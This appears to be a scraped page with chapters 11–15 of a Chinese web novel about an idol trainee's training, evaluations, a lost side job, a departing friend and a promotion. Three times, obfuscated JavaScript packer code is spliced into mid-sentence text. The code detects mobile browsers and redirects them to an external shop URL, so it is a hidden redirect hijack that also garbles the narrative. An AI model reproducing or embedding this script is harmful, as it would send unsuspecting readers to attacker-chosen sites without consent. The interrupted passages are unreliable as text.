本来以为公司大半年前才推出了新男团Cilier，一时半会儿不会这么快选新男团的。练习生们知道了这个消息，有的又惊又喜，有的也在愁着自己的等级还太低，入选的机会渺茫。 尽管连续两个月高评级就能升级，还有七个月的时间，哪怕是C级的练习生，也是有一些机会的，只要他们在接下来的时间里连续升级。 “想的容易，哪有这么简单。”食堂里一位练习生对着另一位撇撇嘴，不意为然，“我们C级的练习生就别想了，你见过几个跳级或者连续升级的练习生？” “诶，这年头还不许我做做梦了？”另一位嘟囔道，“再说了，不是听说Hitting的主唱秦正浩就直接两个月从C级到了A级吗？” “秦正浩是因为性格内向，他最初考核时太紧张导致发挥失常所以才被评为C级的。后来人家克服紧张感能正常发挥实力之后，才能连续两个月都靠声乐直接拿下A级评级，直接升上了A级。”说着瞥了另外一名一眼，“人家这是本来就有这个实力，只是没发挥出来，别告诉我你之前在搞藏拙那套啊？” 这年头傻子才在练习生时期藏拙。 另一位被这话一堵，翻了个白眼不说话了，低头干饭了。哼，早晚有一天升到A级出道，然后给这人好看！ 被翻白眼的也懒得搭理，他们就是上课的搭子而已又不是什么好朋友，而且这人一天天的就知道做白日梦，还不如老老实实的学习训练呢。 江翰飞这一桌几人都听到了这两人的对话，从吃饭开始就一直心不在焉。 回宿舍的路上江翰飞和于立果落了单，于立果突然开口，“阿飞，你和时元有机会的。” 江翰飞脚步一顿，转头看向于立果。 “你和时元其实我都不明白你们俩为什么会在C级。”于立果也跟着停了下来，踢踢脚下的石子，“你和时元长得不比那个靠脸评为A级的人差，而且你的声乐成绩应该不错吧？” 江翰飞不知道于立果是什么意思，不过于立果看过来的眼神里清亮又坦荡，也没有平日里常带着的笑意，于是老实的回答道，“嗯，这次的声乐评级是B级。” “果然啊。”于立果理所当然的说道，显然是早就猜到了他的声乐评级，“其实这话我不该说，我们都是练习生，也算是潜在的竞争对手。但是不知道为什么，看着你和时元，我总觉得很亲像是自己的弟弟。” “我没有你们那么强烈的目标感。”于立果叹了一句，有些老气横秋，和平日里嘻嘻哈哈的他格外不一样。 江翰飞点头赞同，他能感受出来，几个人里，时元和高崎是这真的想做偶像，宋文斌和于立果明显没有那么强的目标感。 “既然你们有，我希望你们能全力实现自己的梦想，站到更高更远的地方去。” 八月盛夏结束了，秋老虎还是依依不饶。九月的大中午太阳热烈的让人没法儿睁开眼睛，耳边既没有蝉鸣也没有凉风。 这好像不是一个好的谈话时间和谈话地点。 但于立果看过来的眼神让江翰飞根本意识不到环境的燥热，他想，为什么会有这种真心的希望一个跟自己没有任何关联的人好的人呢？他也说不出口，自己如果有选择的话其实也不会站在这儿。 12. 第 12 章 自从公司半年后要选拔出道男团的消息传出来，练习生们很是躁动了一阵。 最肉眼可见的变化就是每天早上泡健身房的越来越多了，在上练习课程的时候走神摸鱼的变少了，晚上回到宿舍后打游戏的聊天的也少了。月度考核之前临时抱佛脚的状态仿佛变成了日常。 但是这种状态对大部分C级练习生也就持续了不到一个月，又恢复了以往的日常。 比如今天早上江翰飞五点多出门去健身房的时候，还有好几个室友没有起床。前两周这些室友早就起床收拾好了，然后会比他更早的去健身房等着第一批进去。 对此江翰飞表示，只要不影响自己，那就跟自己没关系。 他已经有点理解他搬进宿舍第一天时大家的冷漠了。或者说是不在意。 因为习惯了。 C级的练习生宿舍流动性是最大的，不仅每次月末考核结束之后会被清掉一批，每周也都有人因为各种原因和公司解约搬走；也几乎每周都有新的人和公司签约搬进来。 江翰飞从住进这间宿舍到现在拢共不到两个月的时间，已经搬走了两个人然后又重新填充进来两个人了。 已经搬走的那两个人，江翰飞甚至叫不上来他们的名字，也想不起他们具体的样子。 要不是他们的立柜就在自己旁边，自己拿东西的时候发现立柜上的名字换成了没见过的，他甚至也不会知道有两个人静静地走了。 他倒没什么惆怅的想法，人来人往的，正常得很。他打工的时候有的早上刚认识知道了名字，下午就听说这个人被开掉直接走人了。大家不是不想交流，只是没必要，谁知道搬进来的这个人和自己能呆多久呢？ 但该巧不巧，今天回宿舍冲澡的时候，刚打开门就发现一个男生正坐在地上，抱着膝盖埋头哭。 听见他开门的声音也没动弹。 江翰飞犹豫了一下，还是从兜里拿出纸巾递了过去。 这个男生就是搬进来的两个人之一，上周刚搬进来，性格应该还挺活泼的，就算遇到了宿舍冷漠的反应，也还是笑着和大家做完了自我介绍。所以即使他住在隔壁屋，江翰飞也对他有印象。 男生没抬头，只伸出手接过了纸巾，抽噎着道了声谢。 江翰飞在旁边蹲了一会儿，见男生没有主动想说自己的事儿，他也没问，自己默默拿了东西去洗澡。 这里的哭声太常见了，课程上被老师骂哭，练习练到累哭，晚上想家想朋友想到哭，连江翰飞刚来时的那个楼梯转角，他都遇见好几次有人悄悄在那儿哭了。 留着一个人安静的消化情绪吧。 等他洗完澡出来，已经没见着那个男生了。 没心思多想，得赶着去上课，现在的他比来的第一个月课程压力更大了。 他的声乐课变成了小课，每节课一起上课的只有3个人，另外两个都唱的很好，他是最菜的一个。 刘老师也一如既往的对他很严厉，本来最开始他以为是不是什么地方没做好得罪了刘老师，让他从第一节课开始就有点针对他。但上次被刘老师夸奖以及月末考核实实在在的声乐评级，又让他忍不住猜想刘老师是不是传说中的，那种越是喜欢就对你越严厉的老师。 “江翰飞，脑子呢？声带不是你的吗？这个音是控制不住吗？再往上走走你要飘到哪儿去？”这节课刚唱了两句的江翰飞就被刘老师劈头盖脸一顿骂，“猪脑子吗？上次说的问题这次还在犯，练了个什么东西！” “再来一次！”刘老师手打着拍子，“123，走。” “注意控制，控制住。” 反复唱了几次，刘老师勉强收手。 “唱的什么东西，自己再找找这个音对应的舌位。”骂累了，拿过保温杯喝点水润润嗓子，“别说我没提前告诉你，下节课你要还唱成这个样子就不用上了。” 江翰飞赶紧点点头，表示记住了。 “一边练习去吧，”刘老师瞅他一眼，叫了另一个练习生，“下一个，蒋玉山。” 江翰飞乖乖站到教室角落脑子里开始尝试着用刘老师教的方法，先单音节的唱完这段，找准发音的口腔状态和舌位，再唱歌词。 这种小课的上课方式和之前的完全不一样。虽然老师还是会带着开开嗓，但是一些特别基础的乐理刘老师已经不教了。唱歌也是像月末考核那样一个个的唱，基本上都是先唱半首，前半首唱顺了刘老师才会让唱完整首。三个人轮流，在刘老师教其中一个的时候，另外两个就自己练习，再轮换着去刘老师面前挨个唱歌挨骂。 除了江翰飞，另外两个都被骂得哽咽过，江翰飞看过那个男生硬生生的捏紧了手不让自己哭出来，因为哭了刘老师会骂的更凶，“还有脸哭？能唱唱，不能唱就滚，嗓子都哭没了。” 经过这么一番洗礼，江翰飞已经逐渐习惯了被人盯着唱歌，盯着的那个还是目光严厉的刘老师。 他觉得自己第二次月末考核的声乐考试一定不会像第一次那样紧张了。 晚上安排的课程要轻松很多，主要是指体能和神经上会轻松一些，大多安排的是时尚鉴赏，把近几年流行的一些服装，配饰，元素拉出来给他们看，然后分析流行的趋势反响等；还有美学鉴赏课里，会让他们欣赏各个国家的人文艺术品，了解世界各地大致的风格取向；还有护肤课程，老师会教他们怎么根据自己的皮肤选择适合的清洁和护肤产品，怎么清洁能清洁干净，怎么紧急护肤；偶尔还会有美妆课，要求他们了解基础的妆造；除此之外还会安排语言课，尤其是英语，毕竟很多歌里可能都会用到。 总之，课程非常的宽泛，囊括了种种江翰飞之前从没听过接触过的领域。 也挺有效的，要是再让他评价一回赵陈华，他指定说不出穿的花里胡哨四个字了，那一看就知道是经过了专门的造型师精心搭配的。 江翰飞上这种课的时候也很认真，就当是给自己的休息时间了，而且很有一种熟悉的知识进入脑子的感觉。 晚上的课程结束就是江翰飞的打工时间。 “小江啊。”刚进去，健身房的一位教练就走了过来，他是健身房教练的头头，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606590|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个兼职就是于立果在他这儿问到的，“来来来。” “王哥。”江翰飞走过去，先问了个好。 王哥一把搭在江翰飞肩上，拉进两个人的距离，说道：“小江啊，你最近是不是跟谁有冲突啊？” 江翰飞被问得一头雾水。 见江翰飞表情茫然，王哥知道江翰飞应该没头绪：“你在这儿的兼职被人举报了。” “本来咱公司没有说不让练习生打工，但是你想练习生一般情况下出去都得申请，哪能在外面打工呢。”王哥皱皱眉，也挺烦这种背后整人的，“今天早上副部长问我是不是有练习生在这儿兼职，下午人事那小姑娘就叫我跟你说这个兼职你不能做了，这个月已经做了的天数算到今天，一起给打你卡里了。” 说完王哥直起身，拍拍江翰飞肩膀，“所以咱也没办法了小江。” 江翰飞跟王哥道了谢，说明了今天会跟之前一样做完，王哥又拍拍他肩膀走了，要不是为了等他，早回家了。 副部长都出面了，工资也结清了，不管是不是被人举报的，他肯定没法继续在这儿干了，这不是王哥能决定的。发个微信就能说清楚的事人家还特意等他来亲自跟他说，已经是很尊重他了。 九点多的健身房还有零星几个人在运动，江翰飞见怪不怪，先开始收拾起其他地方。 脑子里想了一遍，一个多月以来跟他有交集的都不多，知道他打工的就更少了。和他有过冲突的就那么几个人。但也不能确定是谁。 “别想了。”一道声音突然从背后传来。 江翰飞思绪被打断，转过身去，是一个他不认识的男生，染着一头张扬的红发，剑眉星目，眉眼发散着和他的红发很搭的桀骜；身姿挺拔，无袖背心下露出的两条胳膊是在这儿难得一见的小麦肤色，上面伏趴着刚刚好的肌肉，不是浅浅的薄肌，也不是壮硕虬结的大块肌肉。 “是在跟我说话？”他不记得认识过染了头发的。 “当然啊。你大概不认识我，只是我见过你跳舞。”红发的男生突然笑起来，“基础不太好哈哈哈。” 江翰飞：······ 这人是不是有点自来熟啊？ “开玩笑的。”红发男生也不在意江翰飞不接话，一边把长凳上的东西收回自己运动包里，一边说道，“让你别想是因为与其你现在每天浪费一个多小时的时间在打工上，还不如全心投入到练习里，等级上去了，公司自然会更新你的待遇的。” 丝毫不掩饰，自己刚刚就是听到了他们的对话。 收拾好运动包，一把甩在肩上，站直的身体比江翰飞高了小半个头，“我是从B级升到A级的，B级的餐补每个月是1200，外加800的零用钱，零用钱是直接发到你卡上的。” “当然了，如果你能升到A级，那每个月就会变成1500的餐补+3000的零用了。”红发男生眨眨眼。 “所以我说，你与其花时间纠结谁举报了你的兼职，或者又打算重新找一个，不如努力训练提升实力，等级上来了你自然会有零花钱的。” 13. 第 13 章 晚上躺在床上，江翰飞还在想健身房那个红发男生的话。 之前去兼职，主要是为了解决没有手机的问题。现在有手机，加上这个月结算给他的两千多块钱，好像目前确实没必要继续兼职了。封闭的练习生生活，除了日用品，其他没有太多需要花钱的地方。 而且最重要的是还有7个月的时间公司就会进行新男团的内部选拔。 错过这次，公司是绝对不可能在4个月内再推出一个男团的，要完成“出道”这个前置任务，自己就必须在这次选拔的最终人选里。 想明白接下来自己的重心，江翰飞把兼职的事情画上句号抛到脑后，开始一心一意的训练。 早上早起半小时跑到练习室练嗓子，练完再去泡健身房练体能，晚上下课之后就去自由练习室抓紧练习舞蹈，舞蹈练习累了就背押韵背rap背歌词，缓过来再接着练。 这段时间每天都是晚上快十二点了才回宿舍，要不是因为需要洗澡，江翰飞觉得在练习室里睡也没什么。 他的状态3010和3011两个宿舍的人都看在眼里。不知道什么时候开始，他没有再听过施锐阴阳怪气，宿舍里的人似乎都变得友善起来，时不时地跟他搭话，吃什么东西也问他一嘴。而维C群里的几个人则是被他感染了，更认真的对待练习，宋文斌和高崎也都时不时的跟着他一起练习到十一点再回宿舍，时元年纪还小没这么发狠，于立果则是练上几次休息一段时间再来练几次。 最近他跳舞有点跳的太多了，膝盖和腰有点疼，与之相对的收获是他觉得自己在舞蹈上有了明显进步。 现在听一首歌的鼓点已经是轻轻松松，动作上对比刚来的时候也好了太多，老师教成品舞的时候也能记住动作最后跟着学会跳完了。而且已经好一段时间没有因为动作做的太烂被老师直接在课上点出来骂了。 声乐可能是多加了早上的练声，对气息和舌位控制好了很多。之前老师说他有发声咬字部位不统一?的问题，现在也改善了，虽然又出现了新的问题·····。 再去翻翻自己第一次月末考核之前顺歌时的录音，自己都能听出来现在的声音自然有支撑，真声和气声混合的刚刚好。 rap对他来说进展艰难，节奏没有问题，可flow的感觉是天生的，他只能僵硬的模仿，唱不出感觉。 就这样，很快到了第二次月末考核。 尽管还是紧张，但对比第一次月末考核已经从容许多，好歹是经过事儿的人了，这次准备的时间更长，底气足些。 早上的形体课一如既往，穿上要求的轻薄上装和短裤，江翰飞总觉得一路上有人在看他。 平时来来往往也有看他的，走在路上能经常看到别人打量的目光，但是今天总感觉格外的多。尤其是在他从考核教室里出来，对上了一片盯着他的目光。 想了想，大概是肌肉线条开始出来了，肩背开阔了，虽然腹肌还没有到8块，4块是稳了的，而且他本来就瘦，现在看起来倒是很有清瘦版倒三角的雏形了。 后面的声乐考试唱了半首小班课上学的流行歌，进去的时候还是紧张的手心都微微出汗了，不过这次总算还能偶尔分出点眼神去瞟一瞟老师的表情，不期然跟几位老师的眼睛对上两次之后他就不敢再乱飘了，老老实实的把眼神定在白墙上。 舞蹈和rap虽然都有进步，不过比起擅长这个版块的练习生们来说还都是菜鸡的水平。他很清楚在声乐，舞蹈和rap三个大版块里，只有声乐算是他的优势版块，其他的两个版块他都需要时间积累才能和别人拉平差距。 月末考核结束当天晚上的食堂依旧嘈杂，17楼的会议室也照样准时开始了。 谢部长坐在老位置，人都到齐就直接开始了。 “形体上S级的葛文山，A级的方高邈，C级的江翰飞。”戴眼镜小姐姐还是老样子调出来一个视频，“葛文山我让他停止继续减重了，面部因为减重过度有了明显的凹陷，目前看来，保持标准体重上下是最适合他的脸的，后面在这个体重基础上再进行一定的增肌，应该对体能没有影响。” 谢部长看着对比照点点头，再减确实有点过了，“葛文山的定位是 Rap，这个定位对他的形体要求没有这么严格，就按照这个体重给他提要求吧。” “A级的方高邈外貌暂时没有太多变化，保养的不错，但是其他板块的进度实在太慢了，这样下去他连团舞都练不齐。”眼镜小姐姐推推眼镜，呆的时间久了，这种因为外貌所以不重视其他板块的练习生也见过不少。 “上次说找他聊一下情况怎么样？” “自控力太差，太懒而且玩心太重。”A级练习生的男练管说道，“这个月跟他聊过好几次，但是只要不盯着他，就会放松自己。习惯了被约束，所以自我的约束力非常差。” 说着停了一下，看了下部长的脸色。 “别看了，有话就说吧。” “我建议把他降级，放到B级里去训练一段时间。” 部长沉思了一会儿。 突然问道：“上次说的江翰飞的预期图出来了吗？” “出来了，这是让检测机构那边根据骨骼和肌肉走向做一个他的预期图。”眼镜小姐姐飞快调出一张图投在大屏幕上，这张图是一张3D建模的截图，后续小姐姐又直接打开了软件调出完整的3D建模：“这是完整的预期图。” 扶了扶眼镜，又打开了一张图片：“这是他这次形体考核里的面部扫描截图。” “已经和预期图开始接近了，成长速度很快。一些细小的地方建议暂时忽略不要动。” “嗯，能不动就不用动了。”现在大家审美更加偏向自然审美，有一点小瑕疵反而真实有特点，还能卖个自然美人的人设。部长点头赞同，转又直接对A级的男练管说道，“方高邈，别到B级了，直接降到C级去，如果他不愿意让他和公司谈解约吧。” 他本意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606591|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想方高邈在这次的男团选拔里能作为门面的候选之一才直接给了A级。但门面的自制力太差可不不是一件小事情。要维持花一样的外貌除了天生丽质，还必须要有意志力控制自己做该做的事情，吃该吃的东西。 “好的。”降B级还是他纠结了一阵才得出的建议，没想到部长直接让人降到C级，还说不愿意就直接清退。 这还是自己带进来的人呢，不知道该说部长果断还是冷漠。 过完了需要注意的练习生，部长又问了一下S级的情况。其实S级的就那么几个人，加上上次升级的葛文山，一共也才8个人。他作为部长，偶尔会去看看低等级练习生的训练，高等级练习生的训练就是时不时都会去看看，在会议里问只是为了表达他的重视。 每一个成长到S级的练习生都代表了公司大额投入的资源和未来的机会，不仅他们练习生部门，连公司高层和其他部门都会在意S级练习生的情况。 尤其是营销部门里在制作新团出道策划的人。 这里就不得不说说乐狮娱乐的架构了。 乐狮娱乐抓住了互联网腾飞的尾巴，在经过十来年的积累，现在已经发展了完整的流程服务。艺人部，影视部，营销部，制作部等等。艺人部门分为已出道艺人部门和练习生部门以及开发部，也就是从星探或者试镜开发练习生，到练习生训练再到出道都归属于艺人部门统筹管理。练习生的部长是谢部长，已出道艺人的部长就是刘部长了。 影视部负责的就更多了，从音乐，电影，电视剧，MV，综艺等的创作或者审核，以及后续递交审核等。制作部顾名思义就是制作把影视部门通过的创作制作出来。然后由营销部进行具体的策划营销推广以及后续的数据反馈等。 各个部门职责即分离又交叉，每一个团体和作品都是所有部门共同的心血，谁也不想自己的心血被糟蹋，因此所有部门都在关注着艺人部门。 但是关注的都是会和他们产生联系的人，比如已经出道的艺人或者S级等待出道的练习生，没人会去关注一个C级或者B级这种淹没在人海里的人。 会议结束的很快，散会后A级男练管赶紧走到眼镜小姐姐旁边，“君姐，这个江翰飞是什么情况？” “成长的很快，部长的意思应该挺明显了。”被拉住的唐君君不紧不慢地收拾着电脑，她太明白这个人打的什么主意了，“别想太多，把方高邈掰过来才是你现在应该想的。” A级男练管讪讪笑了笑，“会的回的，我这就找他去。” 一个A级的门面潜力放在手里调教不动，老想着走捷径，难怪部长看不上他。 唐君君腹诽道。 A级降到C级不仅是练习生有问题，也说明负责练习生的练管有问题，要么就是能力不够，要么就是偷懒了抓得不够。 突然来关心江翰飞，难道下次江翰飞升到A级就能是他的功劳了？唐君君搞不明白这人的智商怎么能做A级练管的。 14. 第 14 章 江翰飞这次没有升到A级，但他得到了自己的第一个B级评价。 江翰飞，男，18岁，身高：178，体重 55kg； 声乐：B级；舞蹈：C级；Rap/创作：C级；上次总评：C级；总评级：B级 测试时间: 9月30日。 看到这个考核结果的时候，他正和维C群的几个人一起吃饭。 大家都在查自己的考核结果，发现江翰飞愣住的时候时元心里一动，好像猜到了什么，马上切换到了C级练习生的排名榜单。 果然。 “飞哥！你拿第一啦！”时元惊喜的一嗓子吸引了周围几人和附近几桌的视线。这个月的C级练习生榜单里，江翰飞排在第1名，高高地挂在其他所有练习生上面。 于立果立即笑着接话，“恭喜恭喜啊，这是不是得请客啊？” “就是就是，飞哥你得请客！” 高崎和宋文斌也笑着跟江翰飞说恭喜。 周围的人在窃窃私语，“他就是C级的总排名第一吗？” “好像是的，B级的第一是朱正谊，估计也快升A了。” “他是什么方向的啊？” “好像是声乐吧？听说之前被刘老师夸奖有进步的就是他。” “啊，原来是他啊？怎么之前没怎么见过，好像是突然就冒出来了。” “他才来狮子两个月，第一次排名就接近前30%了。” “又是天才啊，怎么这世道都被天才占满了。” “两个月就能排到C级第一，不知道是不是运气。” “谁知道呢，万一是哪个老师看他长得不错给他提了个等级，能不能稳住还得看这个月呢。” “长得还挺凶的，现在市场不吃这款冷酷人设了吧。” “一个C级第一而已，有什么好讨论的，别说还没升B级呢，升了B级难道还能赶上选拔？” ······ 这些话江翰飞都没听到，他还在盯着最后那个‘总评：B级’发呆。 他不是没有想过，在猜测刘老师是不是因为看好他才对他格外严厉，在猜测周围来往的人偶尔看他的探究眼神是不是自己的外貌在这儿也算的上不错，在猜测宿舍的人突然对他变得友善了不少是不是也觉得他能成功升级？ 他想过的。 只是想和实际的差距太大了。小班课上都比他唱得好；长得好看的周围就太多了，时元，于立果，宋文斌，高崎都各有个自己的特点，更有那个健身房少年这种第一眼就会给人视觉美冲击的人；至于宿舍里的那些人，他其实没有关注太多。 所以猜测只是猜测，他不敢肯定。 但这个B级的考核结果好像一个印章，给他盖了一个戳，告诉他，是的，你的猜测我验证了，是对的。如果在这个月的总评级里他再拿到一个B级评价，就可以升为B级练习生了。 他不由得回想起声乐考核的场景，好像这么投入的去唱一首歌给别人听，也不错？ 回过神的江翰飞一方面羞赧，面上又忍不住笑起来：“好，我请客，中午吃什么，我给你们打好饭。” 时元见他笑就觉得开心，一把扑过来，两手环抱住他，挂在他身上：“飞哥飞哥，你能不能告诉我你怎么升的这么快的啊？” 他这一问，周围几桌的人都悄悄闭了嘴，竖起耳朵听。 江翰飞失笑，他哪有什么技巧啊，自己都还觉得惊喜呢。 “呃，就是练习啊？我天天跟你们一起，你们还不清楚吗？” 时元一脸若有所思。确实哦，飞哥基本上每天都和他们一起的，除了晚上的自由练习时间。果然是自己的练习还不够，这个月争取跟飞哥一起，每天加练！ 宋文斌和高崎听见却是苦笑了一下，相互对视一眼又挪开。于立果见他俩不说话，倒笑着说，“别愁眉苦脸的啦，小江不说了是练习得多嘛，我看咱们仨下个月可以严格执行一下小江的练习计划表试试。” 江翰飞当然没意见，有朋友一起训练比一个人关在练习室里训练更有动力，当即就答应下来回头把自己的练习时间表发群里去。 当天晚上几个人就跟着江翰飞的时间表一起练习了。到晚上十一点多实在撑不住了，几人才互相挤挤挨挨着回宿舍，路上时元一直嘟囔自己胳膊要断了，宋文斌听了就揽住时元，时不时的给他捏捏。 第二天中午吃饭的时候却没有看到宋文斌。 “斌哥还在排队吗？”时元和江翰飞在同一个练习室上完课，两人结伴过来打了饭，桌边却只有高崎和于立果两个人。 两人正皱着眉把弄着手机，像是在回消息，听见时元的问话于立果头都没抬，高崎只好先把手机放下，跟两人解释：“今天斌哥和我们都不在一个练习室上课，上完课给他发消息也没回，刚刚给他打电话一直未接通，不知道怎么了。” 于立果这时站起身来，“你们先吃饭吧，我回宿舍看看。” 江翰飞和时元他们也意识到事情好像不太对。平日里宋文斌是最照顾他们的大哥，都是他找好位置给他们发消息在哪儿，从不会不回消息或者这么久打不通电话。 江翰飞担心宋文斌是不是生病了，想到自己放在宿舍柜子里的银行卡，赶紧站起来：“我也一起回去，万一能帮得上忙呢？” “我也去我也去。”时元也紧跟着站起来。 “我们一起吧，不确定情况谁都吃不好饭。”高崎也站起来跟几人说道。 互相对视一眼，都往食堂外走去。 路过的练习生们看他们急匆匆的样子，视线也好奇的跟了过去，到他们背影消失在转角才收回，然后跟旁边的人开始猜测和八卦他们去干什么，热闹得很。 而到了宿舍的几人对着已经空了的床铺默然无语。 江翰飞在不停地拨宋文斌的手机，那边一直显示嘟嘟未接通的声音。他也不知道自己在执着什么，打通了电话又想说什么，只是无意识的想把电话接通，好像接通了电话，宋文斌就会回来。 “为什么啊？”时元眼圈儿一下就红了，带着眼泪不知道在问谁。 “斌哥在群里发消息了，你们先自己看吧。”高崎突然说道，“我出去走走。” 说完他关上门出去了。 “抱歉大家，我这么突然的就跟大家说再见了。没什么其他原因，就是家里也给我找了个机会，以后再见我可就是宋老师了。 我还是很庆幸能去乐狮，不去就遇不到你们了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606592|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。在这么多娱乐公司里，我们选择了同一家娱乐公司，又在这么多人里恰好跟彼此有了交集成为了好朋友。你们才是我在乐狮这一年的时间里最大的收获。 偶像的梦我要放一放了，但是你们可不许放下来。希望你们都能成功出道，如果你们出道了，我会是你们的第一个粉丝，会努力给你们应援的！到时候别忘了黑幕我一些签名照，让我也显摆显摆我的朋友们都是很牛的大明星！ 再见啦！” 看完宋文斌的微信消息，江翰飞停下了一直拨打电话的手。 已经没必要再打电话了，这是他的决定。 又看向宋文斌的空床，床杆上还有没撕干净的“XX斌”标签痕迹，在这个新痕迹下面层层叠叠了不少已经泛黄的标签痕迹。 因为这次考核得了个B级评价的那点自得和喜悦已经一扫而空。想起昨天早餐宋文斌在桌上的沉默，他近乎茫然地想，是不是因为他的原因才让宋文斌离开了这儿？ 时元一边哭得抽噎一边看。于立果在一边拍拍他的背让他缓缓气，眼睛盯着斜上方放空，不知道在想什么。 空气是沉默的，只有时元还止不住的抽噎声时不时响起。 手机震动两声，宋文斌给他发了微信消息。 “小江弟弟，别打电话了，哭的声音不好听。好好努力练习吧，你是我们维c群里公认的最有可能出道的弟弟，我等你的签名专辑哦。但是也别太拼了，身体才是最重要的。” 江翰飞没有回复，退出了聊天界面，把宋文斌的消息置顶，再设置为未读。 率先打破了这份沉默，看着宋文斌空出来的床说道：“走吧，吃饭去。” 时元的泪眼朦胧看过来，于立果也诧异地望过来。 深深呼吸，努力笑起来：“吃饱饭，努力练习，然后成功出道，让斌哥出去显摆显摆。” “对！努力练习，加油出道！”时元一听，立即要拉过衣服下摆擦眼睛，被江翰飞拦住，让他到卫生间洗脸去。 于立果一直沉默地站着没说话，江翰飞走过去也跟他拍时元一样拍了拍他的背。 这下子于立果也没忍住笑了起来，“你干嘛，我又不是小孩儿；拍小元儿去，阿飞弟弟。” 果然还是眼里带着笑的于立果最合适了。 江翰飞很满意自己的安慰结果。他很少安慰人的，也没什么安慰人的经验，笑起来了，眼睛里也带着笑了应该就可以了吧。 于立果见江翰飞的笑着望过来，躲开他的视线，“也不知道高崎去哪儿了，我给他打个电话去。” 联系上高崎后，他们一起赶着最后的餐点回食堂吃了午饭，准备迎接下午和晚上的训练。 没多久宋文斌的空床就被人补上了。江翰飞发现自己对床的施锐也不见了，换进来的是上次他撞见哭的那个男生，两人对上眼的时候他礼貌的跟对方点点头，对方却没回应反而躲开了他的眼睛。 江翰飞也不在意，继续全心投入到练习中。 练习起来那股劲儿，有时候于立果看了都觉得是不是有点太过了，怕江翰飞练过头受伤了。 幸好，江翰飞不仅没有受伤，还在10月的月末考核里拿到了第二个B级评价，正式升为B级练习生。 15.第 15 章 升了B级他就被新加的B级练管通知要搬宿舍。 新宿舍在5010，正好是他原来宿舍的3010的上上层。晚上练习完，时元、于立果和高崎一起帮着他搬宿舍。本来也没什么东西，四个男生每人拿上一点走一趟就搞定了。 新宿舍是四人间。一样的套二户型各自放了两张上下床，客厅里角落里放着柜子，中间放了沙发和一些常用的家居用品。整体来说，空间没变，但是人少了东西就少了，让人觉得松快了一点，没有在八人间那么转不开身。 时元见着宿舍羡慕的咂咂嘴，转头跟于立果和高崎说着要是他们四个人能一起住就好了，这次考核时元也拿了一个B级的评价。高崎沉默的环顾四周，这还是他第一次来B级练习生的宿舍。于立果看看两人，一把拥住两人肩膀带着往外走，嚷着现在就去加油练习。 江翰飞也跟了上去，现在还早，他打算再去练习室呆一会儿再回来。况且现在的宿舍除了他一个人都没有，大概都还在泡练习室。 搬了宿舍好几天过去了，江翰飞后知后觉，虽然空间变大了，他还是得到了一样的入住待遇——无人在意。 但现在的他也不在意这种态度，甚至很享受这样安静的宿舍。没有自我介绍，没有递过来的话头，也没有打游戏的吵闹的声音。宿舍里的人都是自己做自己的事情，好像都默认了在宿舍保持安静的原则，所以他现在连宿舍里的人都还没认识完。 这次考核之后，江翰飞的声乐课做了新的变动，从之前的一对三变成了一对一。声乐老师也换了一位老师江老师。 江老师看起来四十多了，盘着头发，气质柔和，看起来是个很温柔的女老师。而这个结论在和江老师见面的第一节课就被江翰飞给推翻了。 江老师从不带他开嗓，上课之前自己开好嗓子，做好准备，然后在课上先让他唱一段指定的唱段。唱完之后也不急着指出他的错误，反而是问他，自己觉得在这个唱段里哪些地方没做好，没做好的后续准备怎么练习，还有某一句歌词用两种不同的方式唱哪种会更好为什么等等。 一节课下来，江翰飞被问的脑门直冒汗。说错了江老师也不会骂他，就是不说话一直静静地看着你。这种无声地表达更让江翰飞难受，只好每次上课之前都提起预习，做好老师可能会提问的问题准备，为此中午原本有20分钟的午休时间也被他拿来做功课了。没办法，他的乐理基础差了太多，只能自己抽时间恶补。 倒是于立果知道之后，给他推荐了一系列讲基础的视频，学完之后勉强能跟上。 自从宋文斌和公司解约后，时元他们几人明显的比之前更努力训练了，尤其是时元，小孩儿自从江翰飞升级搬了宿舍就一直羡慕的不得了，发狠连起来也不比谁的训练时间少。 江翰飞时间也被排的满满的，从早练到晚。之前补起来的脸颊肉又消瘦了不少。 “江翰飞，最近饮食有问题吗？”形体课后负责B级的王练管在突然在走廊把他拦下，还问起他饮食相关，让江翰飞摸不着头脑。 “我最近饮食没有问题啊。” “噢，你最近消瘦的有点太过了，注意下练习强度和饮食的摄入量，不能过度消瘦了。过度节食小心引起厌食症。”说完，又怕江翰飞因为这句话去使劲儿吃高热量的东西增肥，赶紧再补了句，“当然了，这也不是说要你胡吃海塞，你需要保持练习量和饮食摄入量的平衡。” 